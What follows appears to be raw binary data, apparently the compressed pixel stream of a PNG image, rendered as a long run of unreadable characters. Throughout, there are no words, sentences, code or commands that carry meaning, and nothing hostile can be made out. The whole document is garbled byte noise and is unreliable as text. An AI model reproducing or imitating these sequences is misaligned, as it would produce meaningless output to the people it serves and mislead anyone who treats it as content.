_V-sY;MksYz::z^crDo^&ǀb`vmtTguK?áNF*k,ϕfhj>{_xc肢qLۊr5[l<l:ϟvbGɎyk=u NV_48xZ5W׃GFpղ'xly~opbwW{{{^j'NQθmnB]xW8{8rs>6%מJZ;w3am_OLo$"^ocyY'arz-<llLqM99|ԁH=:]f^?`XJmEqzPL|R4CL,B&2f	om?@HrfEZOa;xNۉgtq:5m@򍈓_+y(~O}k!=ah\lڵp+pP1h~XA;>I5`b~ů~|֯ܘB~yIԟˁXg¬(QeGqP9~9\'
0lS>J7?:;NugΌk_N7P|Gfg?("g^s
ىwf7+0?~韁	Y6Al3W4/x^XJ e0Ik<$]/Yy.Zj*]	Г;@b'RW{ǹϗwW?OklN$}_DK|,w'0M޲h<ާp|RѯW-,uM \ŶyYalT{?ުYㇶ|~F~ɇO|r_!vNKo	1u-ح7q>f8p.v|ICOȁ(e'Hc@#:_4vo:ӣ'OZ?GD1MBKrn˕a0$Z{4//Ќ~lo2gjem>|Ex8
TR4kM1aua0EuAvI'ךѭ+sl4sWpy_{{_\"-?}tXKSFNadgjsﺔQvC?\M΀	MCьexQ6"$bjlJys"
b1lpSϨjy,Ch$چR\%p[cz>:!o`<s~ه;8̠c]1dODӏhgPgl	u`et-cGi'ܕK663kG%$YXOp

<B׃r.ZL[Bp?
	7W9]r~ݠ.'kG+m|ץ=vhuȺ
7hݝ-f8	4Sr~,='횺O~Xs/*Y]mk	H#2hԒau&Aiw0_|Y{5imao)>nS|7|Кd'~ەu|]g|~zrh'X
"w<k7ay4;J8_lN/'G|BQ˟<k~<;~H}"
"10L1C+D; E<
>ob'~#H~ci0Z?گxc_!ZN0*>!)8ᶄԲ5֦2ƀ_TIvBmr9?I9Xb?_̘W|)ϺR[Çro_j˾f
IS& ذ%D)+k
QclX^߉<Uj~¤W>١q4̾#9
Vcie`Y\Frk.rPR+q{~*d/RϿ~cg3
zs7Q)4 =.vU~CoC6h1}D~?D/lf婈vm{ XLi_kw¸qGE9=Qx3H]wݝ\M~BmFFC/𹠲˙՗b
z?20ˬGp5;|Ux.|KN8\95jgg?aѬ!u`ogȱ0xGr㨴O@M7Z%`>?#~2z~Ėksz@X4}V؏~ݠEC'~|DC,Af>0pCo?Dfԇ>ͦЌ!D\wpF1JMYr~ckݱ+.~g
0΁3Ɉk570ou4C3YEggNzkjDg(.o+1.@+Sv{Djw
*Lzfc3=`tuhퟶ>?`s`
ص͏Zǃ/uk%f1Fkv7ϫKZm~8&m;zA@G;KBfL-{[ީ
Y:Qy'	(#.0~;cKsȬlMbMJhROFM5jaNP=o*9H}کw߱i>!zeWg
p8t/Z%!er>m@u9c`#?)-z!8,Ig<$ ]5n}E>-ZV#'?!/f3{|x?wtƓStPb6]9XȱZޤ's;~TlyUOM?G?P):1~=q@/?8C֓5cYS.w?;֓=?'^sa~=%?o]_DT4dH#wO~
}=_F?Q ]䧾um2'=6
u'6psFLJ%H&wwp1ټfSSrI@ӿxlD,J~kY?_?|ŏß|`ۢ876q(Wg"ss	p6V Mxjm,/?p?'<v{(:I
R/@yk2?	Y>N39/{n8&矆X'Y_?FISy	.zj3l95Z!!>{h8pm["Հy|gn
f8<8_O(@o;0ղ+.8\W>hBu':se)Pq/}{6@qڍX.^qÚ̫X{6}/3I;ɔZ]MTd~Ǻ/"l/b>
q<VMQ9bO[wY_m(t-܃CcC=9FllkU/?410U&@w^O1k1Ќ(ODv__oxRhkw<rnOpb?bb16%:Y8cw/Tە<KD2(YNoBjŔ9)KriI?d׃1B=ĥ̕'Fџ˼zZFM~eL<Ypd^	dΚ8O҄ޓc','gdξ}hS1NUG$74+~#!@#8gw9ZDŽ9ceWO!^5iEQ&vފ
Bq̭3[wMnggϚD&KzE
v㧞7^a-5q?p)芸;k,'PH}x\swBfs#s*cMؑĔn_57'<];#ks9bBb\{n]W?UrWNpnӑ繡5o>)B$Whcמg1KM.{ÃJ%DQIzk"l1a]Sc>!2jaA4',\#{K\_KLe~
VhFpL9BbW7#F8bDr<ㅳfߘzb/0xs1>Qw{Lл~IE]M){?+`e,}M-u?.tXs74$|\4R;)ɴ
&yBp8JkbxJ:MQ=w~iy׶M_׏^{'b܀z韢>iу2Ioz-w8˜y$gqm}Ʒ'K:= ={_{ܚE@)StDuȶ~{c꿢L	<];}s:MJQ"Xï?ѼjCg0_+=uPG8{|wҺ&h0|B%_/*Ւr7/ͼ<s:Ky<RiP]ΎTE rf`~Ώp	`f>ij52aٗme!eӝ2Ҷaw-a)SX֗_ctu"cI}!G#	4:sAr4+oO}zLt3ȅvZ&29~ԛ?iu'	NܯqLw>?Npv
1gs;KD)QE5\`g[rlRw(TS
	L1(<KY(v}~/~?7x'1{&I&d؈f'v8.7'%RYف6>HA8C-L+ś,XTJ,9sU7G5},^|NZRQ{Ӵ>H9[uUJHqeH,
aiOx9Dd6xP 2 HãH!b	',k#GrFRulNom$֐r*k& ~!;3ÙH
pz=‹=ݽpmR 1܌J;шk7WA<zp=V#7"[ggL!h͢TYNir!Z3/^!5UEϡqVSΕ8t#
}$N1lKncK@6X0QKb3ߕge_'_:_4Ya[10Q׆8
o+9oꘆ׮!\.)c]>3[=~sۙ1kt΃Gcح۶zF40TyjqXPZs9f8܊kN8{Pd-+q#sh޹2.+NUgɴ8
?C	[Zǀ(><\ï?<:]'Z3ocĂfHTbbwxgZK+W֤=9#`eG<9@l#B9WX.ߜ)e\J"O\
@\&b38??gBv<dgq24S5OwԂk.${9TÉ?ƞ
~l3vz>4F˶Ȑo}h
\8`	Ѧ k-os<ē 埾7ڦR6p/u[[
m&CHr:!Eԟ8b8f ˆ<QChݬd[-+eg
?,]S'sc.R17)l3;͆
 Qc;?O˷߲1oIoܱaompnjy{(z{ŋhnuzO7b:KkÓ:B5>9kP]˼sO>kݟAfz]k
v19#ELEj}]Ė8CgYE?fb{-I3k\ʗrGf=A
 .1q{njd2E4cCǪKjfe+P䊮0>Wp>ҿ.gR\läu8"*z믔=Gy(~Xϯe"N"jԱ[]y	7_~
#K'3'ΝC8gSTӸA$bDeлrC
+ncHcw0v<`O2Y-x<3x٭%ˬ?W~?W.tPZ[|vx9	srqؓ	ڌ{3msl2Ԩœ6M,`p,%FL=ٔ(Y<uL,`(
I <rY>>(\~Ugj:֤>@_B@L&pVNEoVS5M3Ϝ\I0LџWΟv	ݘ*HvsD&w Bgr.3YAyה\ƟbDzm#.=6xӀr#!rgy_;h%# /ZsBF}E6'(.芙O,Ӯ֋-jkYC]@=c_2=ӥ[K<V	4_\b6sK7Ts^`Bzdr3acZSNΩ{1ƿbkQ+|~Sùɷ9=@νqCw(}EǞO|''Vkz-u8YJ]r
oËlwՂbg&:~HN8:,?>L
w'k.KyC
;Ҷ{g7Y&zYmv7/O/]+?'Q	?BO8	egO?/~rPKTfќ< qi֕iCu"psC^d
.z#HQ~("鱦3xL@ٷufJߍv}Ime&oΎ|A:H	)zXY
?
C;:ݿ#6lth4Y/ӷӧ!W]C2d@P;Vˏ󲐟TO+RO0*u6:$"S~2ɖUh0鏣ĉژm?RbZxf.89XĕxƘ}*!331lj?<W
~.u(YI/95U4pVqtקDsjk/ z֏k\)}y,@3;<aH3"ǹ1}Qg|ćg~YI?}0SJڸW_#_(%Xi
0UxQoݓG
>HCvho~?'}-\b5w Puj^j_[wyϟ2FuޡoMe+ďWp0ǘ~k6axmwyE]YW-?zr~
";4xgAtgѪ8US,7kb&%ہQPVc0y4ȺrGW>MFyNeT?=c5kY5%Ź>@\XoKjGnJ8 1`w->hd#ľU_'J+΃uau}&37H}}onswKFg$~6e/0}JWyKd֓fM%'%>	;r-*sǙxsi
o9#Kc^UQ=e;DvZ0b>߿=.GMEN}=R-.g/{)vis$֤FƇUiKr-1ɓ5g:;!KO^GKjV.vTȗMY;>ws25@̟<p_h}&}/ae͆xm:dTq{#qvDڿ_u!?)YC'ԟBo.p@^rtLP]%k_㝂E X3V]'&]S0
o.rVr̚U9|/ms(Qϛ_Z5Qqt>'*D_}~JNoGWkuM
rO2ZE[WjJ[.}88?6	m|:`[!އ<&`1"Q6UjZO4
Xlz!@+%گ֟ܟ
hlW‹R3gš޵E^us:uϙ3T;bJ:C^LM|W9?ޙ7},?;gO(B"zʹ5ioj[]/GN+8x]W4'>zj	'5Xf/)zx:Sw>hGNRnWJex}7&mi,
:];Y,GGgΪ&~},\8~QojT%w49nj"^/?j=EC:[?#`R3I:zGJYgJ0ݟ~V'C
טDlv)LL#0mOƖC+ߠ)kgEqML&Ưկ?A'}.@K~;|`V»̏!@ȿ:3E
bn]ÿ")bm+ʷKFP:bs1ɰ'e<ءbicF10YO',™7fwGMه"	}<qsy)TAޡ:g~8E|<$<-ٮZKhD 9&no,'('ny+m8DVTqb6DWM&A SGt90pџo։m/h,vCW\8c^WXBګ(U\ۆhZwq)ۜ?- pQ|{f ָ@xm*lxQ0淤+h{i		]umO(߁ju<S<9DQ
on,8q
^wKwC.=VWgb6"LDΘ$TǑ:ۉ:afyW1L_lp`LCkL6:FoT[ԑ&zL0&M_;IKٵ'
%_,pD$8>xLeioWj1,|l]azCsw7YB?SrO971^bxooB_y=jayǘ0$b34Cp<2w=ʼգ"<DW{Gĸp(q=j7L]/}֠g(E;NGMy0+^`#cl팯wbLxJ5Mճjz?Tp;oIuVfք{{b' V6-~'|Cɮ9~JyϨmg"jy9@MݟoCS|O@8E{ay諒ן6chhys 7{]T5a4F^azLSxZC\D=3o"t?
5V4$Z'-5w̎_R0Ǵ߼
̄ft|xF/pH{"_04uL4/3[~
ʑSg$wQ ;ۗ~B=̗z:~'N+_!=UNZh"@O$ۿt
֎͜6X1֨7p}%Y*t5"-kNkMvA֝2&&#p0l7@gl)AcrI|oXlsb0kpq狯"&C0"ð]Jc~fjucq9ћފiGTΑx9df8`&oK^k93Ϙ:*@l?34kt$GU
k)VMˢ (bvLk(|yFs^qYG	gkƳpg'vG|gXk{ghב,/9tt؜SomPiĊx%_9a`v?ϋS,\fpWMk}C'V$;Z 誶5wCLurGV`&~D]Puh뵨Ŕmk$<V{)g5X73©qS.~|LCĤ7&DMtueS{#n!VXcf(:ac\6y9d'iZv5a&ln=&P9ZHԐǟX&?Qܱb''	h{ܮ;Qj9X1៸&܀b/0:vO7d̄?̀5{lM<g5TgEh442
ep@Kd$*\rshjmx5⡎=x',nNSysT#[ar莘{2%g>Q3#`K}U+7}kPlM6^1c$q
`M[7qLlϳpplJ:Ξ]*_g7>`q>NiU3O3Yq7>Z1Oė3gz~|晟L~0KC^<'Ǽ ?h h0?Wޙ)ɗ-M@ћқq
.TڊaFN&':Ql9}L1k~)04MBf;N8=[x1,'kuk1`މoS9_V$…u~2OlZri:u@k̢4.}[<Ч"?pyLŠX9Җ>~>K`_
ys:7 2~?<a2]O9ݫkad‹/2zP
ܿpJχ\1iV9?p!d>$c\|o~;9bt&Yp53vPf+;2=ܚ{8'E4{IOeX$j
H3sX"ͨ9ktKs%Nh9 u
4Jp(c	,ġ*;dgQ,L
8eu!)p:غK88pքci]fXH߼cp%P4y7|ek9ȝrSˆ3nvq1P&c0fK%r0!
GCL`'Z<=q:YQlěs0ݥkiOi[TBS-Ǧpʑ7LN}J0̃\DVĮ/f,y%f#z?2N\&4Bp70F7}C^̝5|t|͘!4󅕣-"ϯ5Z!P4%9&aIRsNj֞ g{5Oo0Cض&_s~uoh;~K`5y^ğcFRIp^[@5WVK4{aH[Yr7_-ǻVj4Ƭ4{4^W`q#Jk4+verՄzjqպ:awK|65@:G]ĺ2Cm{8	U(pF|FƢ)Kne3~:'Ǝ]hRx=?!HEWAQ73j_2kpO'?+bj6fLxN3e9YLD̘]R$_ç'A 6VH0ޛP<abh>#xx&N%N87	?սtG{̘xogxF+ؗ`_対7yA6/'/9T493/4;
HE6Ma8g5:
9ٙѬ}o{}Bwn^F9C>ܼxyܟ~/}|.Ȫ
ΙZ[@ãBeNY|WGu8P˷Ѥ)]
:느O%׌p//ϙӼ/=$Ice	Vq]Y"$Z`c_?-,_BS7ԠAĞ)^_=q>&}M0,IEq&wΉ|8s/E8?-iL[y\	zNBg|Fo<9[h$Zl|L#dB%D9C	7T@IDATQ-oSO&x4`2)y~f'LH{J/䰏0{22Fh8sýzQ@L:]ނz`ޏ0N3j'1N"nWq|3fEde7!8M;^<ŎU5GwYKT⒡}A@b+b1'Nn&qes北dt9w%}]AKGus!]W[-DYh/yMA0MYq:}]$HZz\uϮ5Ͱ9pS9ӿ|N2Q	,N'h9q
<ʋn~Y)iֿAh5dh1> DGc~,k%S=D6)44?4/mokVUj{@̧dwz9	6Ҹ
ש?9gkldkqY8]Zܓ<A|o1pc@WSafaYcav\&n<$xz<rqjܷ^W?IU58s-[kֿȰf1Z=gu==Rѯs0[cb7(b@~Zae>:YGK]o]p˿MW?XR&p}%OKQ`7iLLRusYb.gIulZES)x˭DMCSsl}ͽ'tM1mj_C*z=2=7KaI=4xˏq_BAR<iO4띿IJr/G
"Xix)ojdGfV"{ad<y'3M/'c]kZ/|zu3)Ms85Z]a*@<ʔur.c
!q>`(rG}|2p$kO7K	r3jn>`сOK3xZ/N^Kh{籠+j	$}EF?hys{3U]ۿ	v'Ug1t{!f)wg)isNY\j㧠9bʠf._T83c1l}_Za	8ȞOzdx,F7Eqw_1}ew?G{7ռumeY_h8GX3{r6>΃߾,(A<}()_7G&b'`hù!R	b&FiE1punc<vϣQc}L-hYk	
}־T,)\{T?./Dtmu#4s_ AC}CN	r<.}y2(,cgQ<k?{Wɿđxkcx
gKCħi}¹+/ɹxCk/F|Y\٫q7Z3ѿY96g-EڵHo'SbDTi'nME~/::H!X37[moY۳f4HB_DFV~yzWUfFdd>b9i'bo'jh&n& "'{b~6gra>F,/fZ]O]r+,.IXbSk0_t^9HchgsJxjuo:㛔Xj{uHXGrmST9z^DE=OAi?9߄5X6j<}*%P}Lq4kɡ68
_?TeyɯŦЂ|;c޳Frܐ+.&:GC<a.SfSջ][K~zHc׎>g8^cwG?tL
cx׎.pvO679WffX΀&nMkVI797'Y1DU^]e,W΀%f	LSZ13
WELT#䅀wjS@+mnPW+!_sW
lkEPk\Sө7xu^*-D7Ap=u)7Rf0w'Õl=j[FqEn^bc)~xxx#O<02gbiA88J
CT{1YDD5ĚfA-]N7NuJ`s7̤:ӷ8Rxꪞ8#)-)>1jW."x6pٔtW%)Q/[OnoBM6ː\ƐA)5Bgk	?~֮SBOM)7j}
v>F2'oArڿH-
gv?aCMuNi&ȣ-2`pDcPD+O37_7~'yt!&VN,VJ1._D(7_yG+q5DTϫ?/:+Žt	qy-ѺQ7Vo.`ɟs,Wc&wjpoZAZ:#@߀[\=X@6 j`\bM8ÁV/Lb:t"
wz]*rղML/6+Asq]uLŘ4_sZWl4mXrӲZ&3#%x`&
g5rVoA:fKtwTBO*ؒb'?J&d"LDM@&btH؛8}S&y49q^HC[+&9Z"'+3p48}#v~]MKzxNɏ܋Z)ݻZ=:kAjGv2]-[_2jRF+Aƺubٻ3@̒t&T뗷!9JuIzz=GWۮK03&h'u>rϢ?ȁ_KGa)XlЯ+*(9PݙxQOۇWd[S'ӵ=L̽6),_ؾ]Wkgh|ۺf$Q9wFKoz9ț:#u|^`T; xɏ9M3c\q-oЍGZd5_q&Ġ[dV;!afkyo[r=ޤ|<Gq4&9-?1~m5nH{~_e&WKarަ͛j}\ :]]^!gө `a7+u %mue5>ӻaiXt^}ߜ>,qJQy۫t$ɗv\~ ȋ+]]~3gaע~v(oV8*`=$ǫ!5LD ןgsj^/prVU

Rm1ʑ&e9o!\I!9PWɟ}olbV@bCyĞP-.n{.gx1|Z^puv|lϟM$pS|&SǃU?SUu~11pЖ;dà<)[l"\SzS?p6}g`4:{3Mpצ{+^isrخyk0tsD%G*C94/_a^8N4n螛[A6cpBx9l}~V޹o]N/鑒͋岝`SYku(>8'[8WT&IKD
X&ۤC)9}Qj*(<uj<JX>fUi59{b`c
`!+\4D⬹g/(ˇrɉi
mI	C:x]&'i44֒h;ENK[ԟ){G!wvH8l,}cQL	Պby_!3poQiϼZ/LMNMUc*"Ҫ]|5"\bҗӪJWР?zu1K0h#bb>sLRie	ڹfj6~9x̠gpg7S'Lrw.E;|$xan$o{QKwjkGb:!mK3bʓ

6Dg}qN	]:=>og[o=##i?ʆ[W=qӵr;/>Sϓf@/GDX_x_7w8k*7vNȚs`-y]
3
L{:v~05T&'3Z)5rl.xD=zQ4 iHECF12~s2Ot5'hA>zB=$Sɕ33ybQp,|{
BDCc|C#L1+gDgA?
8q,E!Rn27_&/[M]2l	PK>3.N326gtg?{Чc:.DcJ
,39S["H|~8WI%kN$Kid8Zܤc4	:k
79|q7ySbL0N6ji"2ֻ@1_0YP
40r#/~_>?[hmq5G`K=_,7It%~B|^^eՑbw	qG=9
`vDKTsI65ا~IϞ&d8zw@Mp0qe^^{_2M:1`"kbSc	il}'Frv}Ducw&~x-"P29eѹel;xGF؇@2f}^
	'0qd[W 9(,Os~hion֒9[, Fc9a55i2i03
z^JA'gx]E6
qBAz}Cn5z I'SZ1iu50pc01^<ix ^>4_,d`ƐM$MI]@l蔔KANΨ;?1o*>hj<_E1^+)~'=1SR||mŔ1bNϾEuɓX5?.|`
a[wwXEeCXP3ýxGS>9?2Zȣ<*YEk'a4Ti,[w&613x_u/B4okGGZGOdp*<lK\{9G?kM/$ތ~`u\Gmh3F^`+1G7$4yuYϤM"Oz%ÕsAEWv8'qR5'Q=?oH{u{$Nm9r̤\YH1*+wOY{mlkl
{ߎnOJh\\ܓD5}JOQw_\4vD{ VlZ5Rq?-FCWN?YiI]1`r8]^zH8#}ie>r6of©wBe>$~Ro@kvԔe'-G-{,G|	IiM#n !>)Az@ˌM{$%=㬧84ބytNZL
x]!9]F}VR@jSؖo†>Y@q;h5#EoF
=\̩i.F odoGe<=CdϲV+Ykj1~¤kA,E
4і&OzťMa9?'yykZ4>Aġ\枰~>>~_4Ի-{7aMNḭǮq4gLLJIC,gK7.=Q8=ѕ#e4xו[xo29\r^韷wb/T?#(LWX9k
!L,#	*.	W,z~pkUUޜ97)n:\2bk-53C-<3nG_u{z7'K`GHM_M;TU"~7~	fưXK{~/8z_&cל.KPh[?/#!"#?yQMcxoiϔvF#3&dETk7yqb!}]jEM|ݚw47|9VtIP3|Tz-㐹2r7x.+~u}zZӿU0kMdyx͉=R1Bܢݬ?	E㝵O
\ƻsbp~{nSzR
MQs>z;ũ.ӆUgzZ_n7'u@%gH{Bש8xd/Yl^K$6;rWXfQ\FNg9\V^m*W!ؘQ9i:ucgJ][ϨR~f5y5qwk0$!Y5=Nˬs4i	f|b}U~Sx֋=@%17*Zf7E|NE~Ϳ.IV>cm6Ŏﱊ5.x+~^YT+pc
b~1l2К!:!>)xg7}^>zx923{tQ2&?;9;˯DGqp3?!#)CޏυSA0SLY:[{ܓu^_U3~i/s<&cLc%*cSּp22~ik7kJV񦫂Ssr)j%Mh&R0ޚHyˁ=A/hp%W@oZEg{Ӽ{b:gOjE{{׭lğ+<~?x5p[1n2+vxžO=˷AuwMa0kl?Tim1Sd.~oU~c\dqs~w{ϟ+ҚѷF+ɀHa2M185=›l9#LYj[=ZK#t-:Xp݇(]bp|>	2F:OXkFl"2|2ah(lEFbE aZxq,'%cz|$ӫF3&3_"szrRk#c{jr4f]|dkx$3xm/) |_&{jb^^uZرɱa߭g[|M&/ߺ.&	_$ g;qRi;Q$:'}xD߃p|;N_
3SNć<}PrXaWyjWuyALN"멦'쨇<oBh(gM_F#Ot15og}jC>s3*Ioh;(_3&ve韐eesܤ
-Tr~:YQ֩$诔lTikqyS26i	:+}R+M5Nw?@+Tڔ@8/_\ڝxo^
CM_\¯ޅN9ކ	{/
H\o|$=y5/>ۗzL\yyb8OtUť;D5No_8>kǴK|
#%q|uaakɀX6%ZL/@8cZCTΊuMeF6oAƧ_g=k.-&G~O0QLGY=;*Gďgl
rpyHtPohFd݇ΙOZN$]sϰ?OeNܮyx|7I^9P`5^Ov$Ll\߱[2pS<~(~~G'sM\̩f*]AkZ)T7:ƹTt8Y}韝׭DSڷS?E>!Vݬ><	KmAlM\ks/gjo y˟_O=n<6	x0ǃuk9lhpZ6O1W؉,7寧lGl~jp+!q.:qx/yf @D	k8WZn\׺8=m0o3zDb]3Kj"rL:=Fmgq9<ZnC~c!ˤc6mB=l7ƙI|A.CP4]`]#=7	FQ5:/ۉK%F?NFwV*XbЁ6eP1A<;6a7fC=̄Ťv0j(a,
?sly+H$Ȟ!+8r$/k+<ξ"M97\OOVaz|\4Yl4qv8<ڠZOOmGXz}BL<Qna{-.^Ą;NtQg&\08۾ٙO3knVG@H/ztedVT)M?xUPg,8ݰ5i慈:w;YuNeXw7pYۀ%W	&TZ1Ĥw
mx].0d]#-f"cctys<yN챻F^E^>#`0u~2fG&In~fp*.@,*lWL=C;9Noo.h@A,=[\''W	Yf>r9l~`OYr{x$?V0Y(|b֨˽>VL(W1>W<:1H0o1E s@@N3җX4akj]ɝ8|)w)-!9"QDK+<HւןD97CXٙ˗臶)Lk΋LpFNG)O<s%EƟ=` l3?(~Z旽ҧ5;Mr?ԟD16<>b|'XwDc1*Ca>=s&-x!k%u]}xh}s~??e!!>&p75MT^M*Σk8GOłQN$_O'܄^2gɓ59ڠۤJٶ>αDйw[آ ۳eh=Z n&BT*XR--^Ls8+&5Cו~>73ULϤa`
3
;1'>E[?[bNhXE7~*޼lq2ooe
-pB>&^{@v.#Pib#SUJliC@0dG?+ꇐx/l3EEO8hKAбqMf!ћފONFh4)T"1а2XMlG.2S`C`$K׍NJ?kd@cvW^oi7aȦ/{x oĭ=Tӊ=o8D~6wrz;c/.2gǏ̡ĽBXMuu?׍|nFNko6y2G<-<?ӿk㎅fj7c͘'yJV}/\'uř Nmc|'3^J?S/fXKm&9ov!2HEaNl[<QyS[SX*]o)iFB%p0TI>ɟ֦	4q8Xk/(^vFf'[20eK{F	lZ	޽-'Xя,g4֫Kkozϖ3{/:l"^vie]s9#ўBos~IPsr	m`4X??@ړ.
'd+U37/5^>/,gQ관!Y-6F;&G}0BϏHQhc`۷D^v?n
m#48MN\3/rx7or>^zewjjz@>#gؗkjk`o&٦K8/.[]Y`ý
H/%QZƵs0r։!{ڶ|Ghާ;>VjKRkۛOLo5B7 XUNS0E#\G6~`O&,b@CvuY/O6v;x?οསc&f.4A.zy=ɐ__NC!ii<8cA*1Ķz#zXkXw6z8Er,y@)&Ru5}QR4WJQ~XrS"tr>1f5ƾ9hVJm?˒ydJ|o~)(\Cp/`bTvHsCk7&G|_5"p(z~9z9~ZzM~D1{j	3[d_"4!Vu=66Y#?Y'{>fӖt8 o_ş~i`獽gjo=S5a
G܉Y
)mx+跟Zi]l <^uk,S Uר~\_9},.9[PFwoYř
3?5r61̍+? =Kc)$}ll^vȓYMа3ȓ\nV\nf8؃g3>Gm+@ы8ȒQ2N~ѲޓYzr.kѳjla3d#!}
:2벀r/`gVc
L97kJs&
>D{شsc<{i$%g΄Mv+Sx%u;E
_jR
$p8zr	XuQo.`@feRxf$vldCGIfd\ᔓǜ>$v8	/Kjb݉G'hڳXb~~[FUX0+d?vhQ&բYI`@sj$JaٳMNܭ$m2:v7Eo֍7I>}2?~ܑta^gRh7g刓 b9!gL.k6->[$O{B;ÓqFM،I$T*3%*2
OG=3ꃣUvŜe; 5ﬕ8k]3ٱ|W{&0?g^Z6?>^ºY?0/x	¯_^cHG{5x81yJ@~
8͞\r~."6&"{߿s"?iQ]م/J8qߣx#gG-/7E%x'</m;yĤ2T}`wudT|LGbXV
h/;&^~inM6^
sk1.S5F{-M&*<͟Jؘԯ+'y3dρ)P6Y݌;b<3AZZo;A{x(;O9b^NᜍS5n
`uhgs?SB8	+`
YEKQN_y蜰MO3jKk\㰅qh'T;>'h>׾\)V|	`?'n-hX?h"ZϑW3$6U%>
;a}a|W_L|R 2
s3 Qt_'lzk>
#"\[4-B2L~&`XB/L1ϮMu{gŀ$Ā?^xDAzOcZj0pR_^֗cĿ9d&!yVpkMC	]t
IB"D1xB8d8ZmM)FG䴬8lӜe1qU޸xQ2K;)ޙ܍ev|p;y=fS1
 oSWb`t)D|3a-`wG⎮ɡPl^l]}:& 7t%܌j\wfPI<-.
B,0@zas0وXllx5Km	x"_M'^nj
SΛᛙDY#gpQB|xeƏl_b؀LZ،sk1`(Ox[OU9P/'ڋ%WQ3kK,CD92SMF 
¾쓳ux49=}a*n}SE؅//[.8>xmsuF^6
GFO?ـ_}rDa\'<vNeG\ciz	JBݵh;9yy5KD)myxUU'ڜ'Zu9lIMAXg<a2O5Y3Q7yYO5&%֙x7YIɣWYSZg1H6;̱&3=ai^*j0/#~Z;{~Bv
͊~;ߚijh(xwXy=8Ԃm'-sDž-92殗_aa2p><k:eoxs^Ms/">gi,7<9kGr[㸛$lK3UC+kM,vFϿ='~@A_"&55O@7уD6m8xf񒝅!fl_qO9c$q¼!Rc	Ɲ3?2iчpHdP.|ٟ5nDךlp1CKVQ\d/rW5
 ؊W̎ymPgJO@9Iũ\h5e_A9M-T❐	n0h%9ZxX?xmΐ|ר}霿54`M+&}0l]q7j7aᝅ)>+O|U8s#x-ǭk%T{·|'G=dFEN;ޒgCE|9ìp/}}>`T9g5?׮[??hAϪy@RFWzbS	-SS*kao^pLf?9
FE+t֔&ڨ]vV!*gM nD9$d4B-P9c؜lZgRgr`&f5\
ɳˆr*DAseRcLZiu]g4}	Iw
W^~^#s#|A81=َ"rM4Ul^Z#s_,PV?n\@޹3{kGް!I?H<):ƳS|gW][
GLb%Wo[]Gie8M~ mz-,;Hfx=+{@nLOo<Ux3}B0y뿥\_upP׳:gL
L\nډuCv1&}D;q2{[Nڜ#%e/ܥVK^S5aHH~7L+cI࣮8u}.*!pu	(8C{Hg>J@W[z1,NGu{g|bOW%s0c>G~W
AP0G;{a0`s)١<QYf"{}Afdo
AQA)
$#S#aʵp5fGI3Y,o$K֩A\xpZzM>.ךww谾'<(_rX=GDh͋-2Zs<?*;#At
tzZ-6Os$]eN=rmd~'IgFg"ui?d34.4o+<^s@ڷ1Qpqll+Sgu?(}޼q
5=|8vXm#A·ϯ~/?_L~;
X'{`y}؄~j%!o>??
y^ؓEy}e_z~:ɼCx+:,\<tޞy|yi7cx!8F}mӜ;qP\(!>9ny2ѭ_Ixk]yNT3ОWo
JAp`ϣPU׵Ǘ)~@IDATU\C<Biy^Cw\:3\&|2+kZk[""KK(WcU.=#Td|<??`a_JyulkvF&Z
i'D/zl:|xO
VRs}ο=y˜"6pDq8VG;q޼]p	&o;/~n<;9#;.Cn2%:
?DLks\\ќvOL	p	fOD48q]'c'q
PZ0!X/^c?j׏^O-x5{V6- }CU'ŷH=nn1Q3qRlzq>X(3y/a&뛔WM
ۮuxqkjNi@lEk,{;S;ڔչtxi^k5kj/L2,Ʌ=n1EĒAF$9L+ ,$PV	AwR9XK}px4%n}
$ܓ#h89}e?uXQ4A_T."{n	>YBklw]]G3JMhON">gT֌kC"h18±	hmP:cH>B5*ZdQfˣVSC*ܛw>s=EK)RkC괬s+n\w%xNs87Zs6	KaYa%ܥQ
sc82qK|'2!
&ڗ%kaq\TѻxZȼWANF{4GD?l4`I8_{-i۷uu2S1?۾Ӿ*R[A};"{v7PNydoR{S`|i&<?/g^rK`7yk*HC}umbjϖA}\O0]w3,Z#O
jh/˾^XU)Y؟ddW{x_~xkCB=a4|qY5ԡys琱TJ?<ѯxgldj{(/Fܟ<ly6'9[ge.ǰheo-
vz==ú fD1<rsa+&)gJe?|@6:g?^BsfhK䲆6pʴI!gMyorfÙT}^Cפ7gLr6$᪌5+vFS?,l[߂Rفwjdj|ߨ$4ZѨWn{rs&7p~vNFȠ)$I{ܺH1~Z$siO'ϩHIWy;A{?(z9OYZp8OIA&c<lv$etFHCru⪊Y$G#<-"O4ri]=Fgrc&~qqTZlZ^=76if=qW"
cNQMa5pe+6Pf6#1ؼNMIqc?9	oc=VͿ\!PC-0Dkzݸ%N;ATL6y'[g7)O%+B<:udF>҉piPlvL,?r˕
{ma!|-Im"39nGn&ں&֔UG0kzT<vw-Bd'9j,GjplPO\D6t?
_Ү}JN~vnÌ(1kiĜ$[Οy}[`o)Nr#AxFs{S7pLBj3_#tRO%ڥS@<~gř2-j৪JscEgU^ 숅O-pjֽ+A,!gsTőm֡ڡ)ߺ;/m;Z|wK
{b	mȥQgrs*/i	jkmaWL8?YI}~Cj{t?_]&ȱ;oPxո.9g:ȠI?yJ^)7~ỸC4+}Dy<g9lr]w <hTڿ7c뼍Ej8Q(c^6@ֺ,L9X^%zO_~K=|$=.#Dnx4r?^V&yoAAg]Q&#:lQ?㑗jɨmqi"4+4hGfmd/B	ΗDI8ߺ
G|t$'1}52u}9ilEdEe	#okiX(e6B{h[6Og|~w'8nRbb˨}{_uV3i`8fI{nq^,W'|7o>+\&	fMu_Kw_\4˝m:&7'F$7!?jzdN"5'{AiۘR3c[?c+3_LބxF^^T.,?͏#ye_HLl9%F눰p-qL؆5m"]_tĴ'í))IښC3=Kӏh~cjwWx	VcWBBݫca0%MJ6mP끡y{6>3pٚZs9e0Sd@*m5lcm~\[(ژ/ĩzGS'72$7~{slx|3Gq'
,2^|#5*#{wv%^}".O
,r6C=|OFѸk|Sk>@29E~'}Ë?z:#Ua_IE?Y[r:O=^im`mq9sΈ~]sy$~Scz=9Zۇ=ҿS}r?*1^._JTU<Sٚb$*g&yƒF?hnz~A+U{t3]
CyHq>zd޺ѸL&=
Z!tVuB=ՖsvQ:	]	QvƷW1_|KV߶ciV?~~6o)`nٯF	[iwpbVI[{'B1nPҥ؇mR+gp:`zZq'>`4Zv!9)rڼZ/jcf?\nρ𓥚Ls(91W|ҁHB:xKA
tExzoc?0'Ĝ	:qف#Ody'1q5^sGo=	ϟ	A5Lh?~Y|<̷&]+ckX@
m1zdJF8,b54'_qn+G|{
